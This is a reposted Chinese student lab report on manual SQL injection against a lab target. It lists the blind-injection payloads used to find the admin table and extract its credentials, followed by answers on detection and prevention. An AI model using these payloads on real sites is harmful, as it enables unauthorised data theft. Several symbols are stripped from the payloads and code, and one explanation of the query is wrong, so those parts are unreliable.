【信息安全概论 实验报告5】SQL注入实验
上一篇【信息安全概论 实验报告4】CA证书实验目录实验目的二、实验环境三、实验内容四、实验步骤五、问题回答实验目的1、理解SQL注入的原理2、学习手工注入的过程二、实验环境目标机192.168.1.3工具: C:\实验工具集\01_WEB安全\02_注入技术实验工具三、实验内容1、按照实验实施学习SQL注入的工作原理和过程。2、通过实验猜测数据库中是否有password字段并用手工注入获取该字段的内容。把注入过程记录在下面的实验步骤里。四、实验步骤目标站点【http:// 192.168.1.3:8008】,随便选择一个链接【http://192.168.1.3:8008/onews.asp?id45】。测试链接在链接末尾添加【】。在链接末尾添加【 and 11】在链接末尾添加【and 12】返回页面显示该网站存在注入漏洞在链接末尾添加语句【and exists(select * from admin)】页面正常显示说明存在表名【admin】在连接末尾添加语句【and exists(select admin from admin)】页面显示正常即在表中存在admin列。同样的方法在链接末尾添加【and exists(select password from admin)】页面显示正常说明存在列password。猜测字段的长度在连接末尾输入语句【and (select top 1 len (admin) from admin)1】页面显示正常数字依次加1进行测试如【and (select top 1 len (admin) from admin)5】说明字段长度为5。同样的方法在链接末尾添加连接【and (select top 1 asc(mid(admin,1,1)) from admin)97】可猜解出第一条记录的第一位字符的ASCII码为97对应a同样的方法可以得到admin字段内容为【admin】password字段内容为【bfpms】五、问题回答1. SQL注入攻击的原理是什么SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句在管理员不知情的情况下实现非法操作以此来实现欺骗数据库服务器执行非授权的任意查询从而进一步得到相应的数据信息。SQL注入可影响任何使用了SQL数据库的网站或应用程序例如常用的数据库有MySQL、Oracle、SQL Server等等。攻击者利用它便能无需授权地访问你的敏感数据比如用户资料、个人数据、商业机密、知识产权等等。SQL注入是一种最古老、最流行、也最危险的网站漏洞。如何确定SQL注入点注释符号测试尝试输入--或/**/看看是否导致错误或页面改变。单引号测试输入看是否产生错误或页面改变。逻辑运算符测试尝试使用ANDOR以及NOT等运算符看看是否能改变查询结果。数据库名称、表名称、列名称检测使用UNION SELECT来查询数据库名称、表名称、列名称等。盲注入测试通过length()、ascii()等函数进行盲注。时间延迟注入测试使用sleep()或benchmark()等函数来判断注入点是否存在。请注意在实际操作中可能需要结合其他技术如SQLmap工具或手动审计代码来确定和验证SQL注入点。SQL语句select top 1 asc(mid(admin,1,1)) from admin的含义是什么这个SQL语句的含义是查询admin表中的某个字段可能也是admin字段但语句没有明确指出然后对这个字段的每一个记录执行以下操作使用mid(admin, 1, 1)函数获取admin字段的每一个值字符串的第一个字符。使用asc()函数将这个字符转换为其ASCII值。使用select top 1选择转换后的ASCII值中的最小的一个。不过这里有几点需要注意asc()函数不是标准的SQL函数。可能是某些数据库特有的函数或者可能是一个笔误。在标准的SQL中你可以使用CAST(char_expression AS INTEGER)或ASCII(char_expression)在某些数据库中来获取字符的ASCII值。mid()函数也是某些数据库特有的例如在SQL Server中这个函数被称为SUBSTRING()。select top 1是SQL Server的语法用于选择查询结果的前一行。在其他数据库中可能需要使用LIMIT 1例如在MySQL中或FETCH FIRST 1 ROWS ONLY在某些支持ANSI SQL的数据库中。所以如果你正在使用SQL Server并且admin字段是一个字符串字段这个查询可能返回admin字段的第一个字符的ASCII值中的最小值。如果admin字段包含不同的字符开头这将帮助你找到字典顺序上最早的字符的ASCII值。但是如果你正在使用其他数据库你需要调整这个查询以使用相应的函数和语法。4. 如何防范SQL注入攻击防止SQL注入攻击的最有效方法是使用参数化查询或预编译语句。这些方法要求数据库接受参数的值而不是将它们视为SQL代码的一部分。这样可以确保即使输入的数据包含SQL指令也不会被数据库执行。import pymssql # 连接到数据库 conn pymssql.connect(serverhostname, userusername, passwordpassword, databasedbname) cursor conn.cursor() # 用户输入 user_input user OR 11 # 参数化查询 cursor.execute(SELECT * FROM users WHERE username username, usernameuser_input) # 获取结果 results cursor.fetchall()
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2513425.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!